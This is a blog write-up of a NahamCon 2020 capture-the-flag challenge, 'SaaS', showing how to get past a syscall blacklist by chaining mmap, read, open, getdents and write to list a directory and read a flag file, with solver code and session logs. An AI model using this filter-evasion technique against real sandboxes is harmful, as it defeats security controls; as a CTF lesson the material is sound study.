Bypassing Syscall filters

Aneesh Dogra
Aneesh Dogra’s Blog
5 min readJun 14, 2020

--

With the advent of tools like AuditD, SECCOMP and SELinux, we have rules to disable a list of Linux syscalls using a blacklist mechanism. These can be used to strengthen the security of the infrastructure but shouldn’t be trusted blindly. We look at a dumbed-down version of this problem in NahamCon’s CTF challenge SaaS (Syscall as a service).

You’ve heard of software as a service, but have you heard of syscall as a service?

Connect with:
nc jh2i.com 50016

saas

saas (disassembly main)

The program allows us to run any syscall by specifying the values of rax and other registers. The first idea is to just run execve with /bin/bash to get a shell, but there is a blacklist that makes this difficult:

blacklist

The program doesn’t allow us to run syscall numbers: 59, 57, 56, 62, 101, 200. 322. We can the x64 syscall table to make sense out of these. They translate to:

sys_execve, sys_fork, sys_clone, sys_kill, sys_ptrace, sys_tkill, stub_execveat

I tried to look for other syscalls in Linux that allows us to run a binary from an absolute path, but nothing clear comes to mind. Later I tried to build my own functionality using syscalls: mmap, read, write, open, getdents, getcwd.

First, let's just get the current working directory:

  1. mmap a writable memory at a constant location we provide (0x10000).
  2. Place our input in this memory address using read syscall.
  3. Providing a pointer (0x1000) to getcwd.
  4. use write to write out 0x100 bytes from our pointer to stdout.
Solve SaaS (Part 1)
root@ctf-VirtualBox:~/naham# python solve.py                                                  
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [79, 66048, 256, 0, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x10\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('/home/challengeRax: 0x400\n\nEnter rax (decimal): ', 1057)
[*] Switching to interactive mode
Sorry too slow try scripting your solution.
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to jh2i.com port 50016

Our current working directory is /home/challenge. We can now get the list of files in this directory using gedents syscall.

int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
The system call getdents() reads several linux_dirent structures from
the directory referred to by the open file descriptor fd into the
buffer pointed to by dirp. The argument count specifies the size of
that buffer.

Let's write the directory name in memory using read:

def read(s = "/home/challenge/\0"):
args = [0, 0, 0x10000, len(s), 0, 0, 0]
syscall(args)
r.sendline(s)

Let's open the directory with the O_DIRECTORY flag.

def opendir(addr = 0x10000):
args = [2, addr, 65536, 0, 0, 0, 0]
syscall(args)

Notice 65536 is 0200000 which is flag value in octal for O_DIRECTORY. We use our address at 0x10000 for the path. We can provide this fd number to getdents to get the directory listing at an address we chose:

def getdents(fd = 6, addr = 0x10100, count = 0x400):
args = [78, fd, addr, count, 0, 0,0]
syscall(args)

I noticed that in remote the new open fd gets numbered 6 every time. The getdents call will get up to 0x400 bytes of data; file list from directory pointed by the fd.

Lets read from this memory segment 0x10100 and print to stdout.

def write(addr = 0x10100, fd = 1):
args = [1, fd, addr, 0x400, 0,0,0]
syscall(args)
abc = r.recv(timeout=2)
print (abc.replace("\x00", ""), len(abc))

We get this from remote:

('\xd2\xb4\x91\x01 .bashrc\x08\xd3\xb4\x91\x02 .profile\x08\xd0\xb4\x91\x03\x18.\x04\xd1\xb4\x91\x04
.bash_logout\x08\xcf\xb4\x91\x05\x18..\x04\xd5\xb4\x91\x06\x18saas\x08\xd4\xb4\x91\x07 flag.txt\x08', 1024)

Ignore the unprintable bytes, those are part of the linux_dirent structure.

struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};

We can still extract the file names from that, and we see the all interesting flag.txt file. Let's grab the contents of the flag.txt file:

First write /home/challenge/flag.txt in memory:

def read(s = "/home/challenge/flag.txt\0"):
args = [0, 0, 0x10000, len(s), 0, 0, 0]
syscall(args)
r.sendline(s)

Then use open syscall with O_RDONLY flag, read 0x400 bytes.

def readfile(addr=0x10100, fd = 6):
args = [0, fd, addr, 0x400, 0, 0, 0]
syscall(args)

Use write to print it on the screen:

def write(addr = 0x10100, fd = 1):
args = [1, fd, addr, 0x400, 0,0,0]
syscall(args)
abc = r.recv(timeout=2)
print (abc.replace("\x00", ""), len(abc))

Here’s the final solver:

Here’s our flag :)

root@ctf-VirtualBox:~/naham# python solve.py 
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 0, 65536, 25, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [2, 65536, 0, 0, 0, 0, 0])
('Rax: 0x19\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 6, 65792, 1024, 0, 0, 0])
('Rax: 0x6\n\nEnter rax (decimal):', 30)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x1f\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('flag{rax_rdi_rsi_radical_dude}\nRax: 0x400\n\nEnter rax (decimal): ', 1057)

Fun challenge. Thanks NahamCon 2020’s CTF team for such an amazing experience.

--

--

Always been a tinker! Started coding in 2008 (when I was in 8th grade). Fell in love with x86 assembly, C and Linux: Manipulation of memory and getting RCE